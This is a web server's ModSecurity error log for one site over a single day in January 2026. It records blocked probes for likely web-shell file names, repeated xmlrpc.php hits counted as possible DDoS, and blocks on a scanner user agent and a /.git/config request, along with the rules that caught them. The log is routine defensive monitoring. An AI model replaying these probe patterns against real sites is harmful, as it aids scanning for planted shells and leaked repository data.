[Fri Jan 09 01:12:42.114747 2026] [:error] [pid 2424:tid 2439] [client 74.225.160.253:35953] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6y7t.php"] [unique_id "aV_lirTDJR8aofkBk9RmzQAAAQ0"]
[Fri Jan 09 01:12:46.198760 2026] [:error] [pid 15265:tid 15345] [client 74.225.160.253:35958] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6y7t.php"] [unique_id "aV_ljqE6VBKhew2LTFR9LAAAAJM"]
[Fri Jan 09 01:12:49.919345 2026] [:error] [pid 15358:tid 15388] [client 74.225.160.253:8755] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/monso.php"] [unique_id "aV_lkSoRk9xWJ3toSBK0tQAAANI"]
[Fri Jan 09 01:12:50.817525 2026] [:error] [pid 17404:tid 17426] [client 74.225.160.253:35911] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/monso.php"] [unique_id "aV_lkmVd_oH193N6AnXxOQAAAZQ"]
[Fri Jan 09 01:12:52.213497 2026] [:error] [pid 2424:tid 2432] [client 74.225.160.253:25955] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/monso.php"] [unique_id "aV_llLTDJR8aofkBk9Rm3gAAAQY"]
[Fri Jan 09 01:12:54.546747 2026] [:error] [pid 17404:tid 17414] [client 74.225.160.253:8739] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/monso.php"] [unique_id "aV_llmVd_oH193N6AnXxQAAAAYg"]
[Fri Jan 09 01:12:55.294242 2026] [:error] [pid 17404:tid 17406] [client 74.225.160.253:8758] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnnof6.php"] [unique_id "aV_ll2Vd_oH193N6AnXxQgAAAYA"]
[Fri Jan 09 01:12:57.540696 2026] [:error] [pid 15264:tid 15320] [client 74.225.160.253:38123] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnnof6.php"] [unique_id "aV_lmYov6_kvS0Owh-o9pwAAAFU"]
[Fri Jan 09 01:13:01.103721 2026] [:error] [pid 17404:tid 17412] [client 74.225.160.253:34135] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnnof6.php"] [unique_id "aV_lnWVd_oH193N6AnXxSwAAAYY"]
[Fri Jan 09 01:13:05.076667 2026] [:error] [pid 2484:tid 2509] [client 74.225.160.253:9004] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnnof6.php"] [unique_id "aV_loTiDlnlaQQK_AEPWewAAAVU"]
[Fri Jan 09 01:13:06.899326 2026] [:error] [pid 13673:tid 13678] [client 74.225.160.253:25567] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/str.php"] [unique_id "aV_looD4ue0-noJ7SHOxSQAAAgM"]
[Fri Jan 09 01:13:10.137035 2026] [:error] [pid 13673:tid 13687] [client 74.225.160.253:8941] [client 74.225.160.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/str.php"] [unique_id "aV_lpoD4ue0-noJ7SHOxSwAAAgw"]
[Fri Jan 09 01:19:02.888395 2026] [:error] [pid 2424:tid 2437] [client 103.233.253.97:46514] [client 103.233.253.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.233.253.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_nBrTDJR8aofkBk9RoFgAAAQs"]
[Fri Jan 09 01:19:56.930100 2026] [:error] [pid 17404:tid 17409] [client 160.250.186.121:52716] [client 160.250.186.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_nPGVd_oH193N6AnXy8AAAAYM"]
[Fri Jan 09 02:11:25.964029 2026] [:error] [pid 7586:tid 7597] [client 103.233.253.97:38808] [client 103.233.253.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.233.253.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_zTcJyk37GdXP5TmWm-gAAAck"]
[Fri Jan 09 02:11:37.999912 2026] [:error] [pid 15263:tid 15291] [client 47.90.8.34:52102] [client 47.90.8.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.90.8.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_zWdv61bxum7WG_e8_qwAAABM"]
[Fri Jan 09 02:12:33.578070 2026] [:error] [pid 13673:tid 13679] [client 220.158.233.59:27892] [client 220.158.233.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.233.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV_zkYD4ue0-noJ7SHPEuAAAAgQ"]
[Fri Jan 09 03:23:01.792165 2026] [:error] [pid 33747:tid 33816] [client 203.161.54.74:47864] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAEFbnOq3KV3qOxOvf6vAAAAIw"]
[Fri Jan 09 03:23:02.321461 2026] [:error] [pid 33746:tid 33801] [client 203.161.54.74:47872] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAEFmr4mdcz4_th3PQghAAAAFg"]
[Fri Jan 09 03:23:06.258661 2026] [:error] [pid 33745:tid 33770] [client 114.55.104.175:59872] [client 114.55.104.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.55.104.175, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAEGhEsq5D3kCWMOr3mGAAAABU"]
[Fri Jan 09 03:47:06.090017 2026] [:error] [pid 35916:tid 35918] [client 104.28.161.188:34033] [client 104.28.161.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aWAJuvnSLfzabNjOjwxukQAAAMA"]
[Fri Jan 09 04:32:27.361503 2026] [:error] [pid 35810:tid 35832] [client 47.120.70.127:38130] [client 47.120.70.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.120.70.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAUW4rJrhH8tOUNM5DdXgAAAA0"]
[Fri Jan 09 04:32:40.678010 2026] [:error] [pid 35811:tid 35857] [client 47.111.72.214:49314] [client 47.111.72.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.111.72.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAUaG7lx9V0CvYJJf2j-QAAAEo"]
[Fri Jan 09 04:32:44.467522 2026] [:error] [pid 10431:tid 10456] [client 103.90.227.32:43248] [client 103.90.227.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.227.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAUbCkUbiVdwQzsJJSs6wAAARY"]
[Fri Jan 09 04:32:50.191879 2026] [:error] [pid 35811:tid 35849] [client 103.90.227.32:43260] [client 103.90.227.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.227.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAUcm7lx9V0CvYJJf2kEQAAAEI"]
[Fri Jan 09 04:32:50.832766 2026] [:error] [pid 35810:tid 35831] [client 47.236.177.201:59912] [client 47.236.177.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.236.177.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAUcorJrhH8tOUNM5DdrAAAAAw"]
[Fri Jan 09 05:01:41.266478 2026] [:error] [pid 10431:tid 10448] [client 216.81.245.160:41070] [client 216.81.245.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aWAbNSkUbiVdwQzsJJS51QAAAQ4"]
[Fri Jan 09 05:40:27.816331 2026] [:error] [pid 10431:tid 10445] [client 43.138.68.113:59194] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWAkSykUbiVdwQzsJJTPNgAAAQs"]
[Fri Jan 09 05:51:19.051560 2026] [:error] [pid 10431:tid 10447] [client 5.78.82.37:23200] [client 5.78.82.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.78.82.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAm1ykUbiVdwQzsJJTVEwAAAQ0"]
[Fri Jan 09 05:51:32.742987 2026] [:error] [pid 35916:tid 35935] [client 62.234.219.29:41686] [client 62.234.219.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.234.219.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAm5PnSLfzabNjOjwyfwQAAANE"]
[Fri Jan 09 05:51:36.914296 2026] [:error] [pid 35812:tid 35890] [client 123.57.241.191:58044] [client 123.57.241.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.241.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAm6EAss1qSj44c-n35lgAAAJA"]
[Fri Jan 09 05:51:54.555257 2026] [:error] [pid 35812:tid 35893] [client 47.111.72.214:50326] [client 47.111.72.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.111.72.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAm-kAss1qSj44c-n35xQAAAJM"]
[Fri Jan 09 05:52:04.991729 2026] [:error] [pid 35811:tid 35867] [client 150.60.157.163:45859] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAnBG7lx9V0CvYJJf2_mwAAAFQ"]
[Fri Jan 09 06:12:00.066527 2026] [:error] [pid 10431:tid 10444] [client 150.60.157.163:45000] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWArrykUbiVdwQzsJJTejgAAAQo"]
[Fri Jan 09 06:12:07.134445 2026] [:error] [pid 10431:tid 10446] [client 47.111.72.214:53998] [client 47.111.72.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.111.72.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWArtykUbiVdwQzsJJTenwAAAQw"]
[Fri Jan 09 06:12:51.888215 2026] [:error] [pid 35810:tid 35833] [client 47.236.177.201:44658] [client 47.236.177.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.236.177.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWAr44rJrhH8tOUNM5D9ugAAAA4"]
[Fri Jan 09 07:24:50.454614 2026] [:error] [pid 35812:tid 35893] [client 150.60.157.163:31926] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA8wkAss1qSj44c-n0dBAAAAJM"]
[Fri Jan 09 07:25:05.919026 2026] [:error] [pid 10431:tid 10438] [client 155.248.248.213:53630] [client 155.248.248.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.248.248.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA80SkUbiVdwQzsJJQGXwAAAQQ"]
[Fri Jan 09 07:25:18.107412 2026] [:error] [pid 10431:tid 10451] [client 47.120.70.127:42554] [client 47.120.70.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.120.70.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA83ikUbiVdwQzsJJQGdwAAARE"]
[Fri Jan 09 07:25:21.109845 2026] [:error] [pid 35916:tid 35934] [client 42.112.21.205:60968] [client 42.112.21.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.112.21.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA84fnSLfzabNjOjwzKVAAAANA"]
[Fri Jan 09 07:25:40.951669 2026] [:error] [pid 35811:tid 35848] [client 42.112.21.205:34334] [client 42.112.21.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.112.21.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA89G7lx9V0CvYJJf3h0QAAAEE"]
[Fri Jan 09 07:25:41.255155 2026] [:error] [pid 35811:tid 35868] [client 103.90.227.32:47116] [client 103.90.227.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.227.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA89W7lx9V0CvYJJf3h0wAAAFU"]
[Fri Jan 09 07:25:50.914323 2026] [:error] [pid 35812:tid 35881] [client 177.153.55.61:52998] [client 177.153.55.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.153.55.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA8_kAss1qSj44c-n0dgAAAAIc"]
[Fri Jan 09 07:25:58.740409 2026] [:error] [pid 35810:tid 35843] [client 118.190.215.162:47004] [client 118.190.215.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.190.215.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWA9BorJrhH8tOUNM5AYfQAAABg"]
[Fri Jan 09 07:57:22.945498 2026] [:error] [pid 35810:tid 35835] [client 173.201.184.194:62594] [client 173.201.184.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.201.184.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBEYorJrhH8tOUNM5AjUwAAABA"]
[Fri Jan 09 08:37:15.573133 2026] [:error] [pid 35916:tid 35927] [client 8.217.89.127:58680] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBNu_nSLfzabNjOjwzvpAAAAMk"]
[Fri Jan 09 08:37:21.479521 2026] [:error] [pid 35812:tid 35886] [client 114.55.73.174:57944] [client 114.55.73.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.55.73.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBNwUAss1qSj44c-n09TwAAAIw"]
[Fri Jan 09 09:40:58.951106 2026] [:error] [pid 44848:tid 44854] [client 167.172.67.131:54762] [client 167.172.67.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.67.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBcqqjajoTJAbEk87wSRAAAAEQ"]
[Fri Jan 09 09:54:40.231226 2026] [:error] [pid 30020:tid 30078] [client 185.242.234.222:40836] [client 185.242.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.242.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBf4Mrjc66qOisG6L1vwAAAAJg"]
[Fri Jan 09 09:54:41.003415 2026] [:error] [pid 30020:tid 30064] [client 146.19.116.190:38314] [client 146.19.116.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.19.116.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBf4crjc66qOisG6L1vxwAAAIo"]
[Fri Jan 09 10:15:21.945723 2026] [:error] [pid 30113:tid 30127] [client 39.100.90.18:57180] [client 39.100.90.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.100.90.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBkuasz80DbrolLWsHn_QAAAQs"]
[Fri Jan 09 11:09:47.415834 2026] [:error] [pid 1366:tid 1374] [client 191.252.186.12:44960] [client 191.252.186.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.186.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWBxexmasveKu8_ec1W6CgAAAYU"]
[Fri Jan 09 11:25:56.667461 2026] [:error] [pid 44848:tid 44869] [client 47.111.72.214:49970] [client 47.111.72.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.111.72.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWB1RKjajoTJAbEk87xCogAAAFM"]
[Fri Jan 09 11:25:56.694780 2026] [:error] [pid 30113:tid 30133] [client 8.140.49.5:41502] [client 8.140.49.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.140.49.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWB1RKsz80DbrolLWsEBZgAAARE"]
[Fri Jan 09 11:26:34.869336 2026] [:error] [pid 973:tid 977] [client 185.242.234.222:39698] [client 185.242.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.242.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWB1aq8hGj9WKAG2NdPEegAAAUI"]
[Fri Jan 09 12:18:28.747991 2026] [:error] [pid 30019:tid 30040] [client 150.60.157.163:58514] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCBlEz3igHGwX5f7IqJUQAAABA"]
[Fri Jan 09 12:18:57.593952 2026] [:error] [pid 44848:tid 44855] [client 47.86.33.61:36382] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCBsajajoTJAbEk87xPmQAAAEU"]
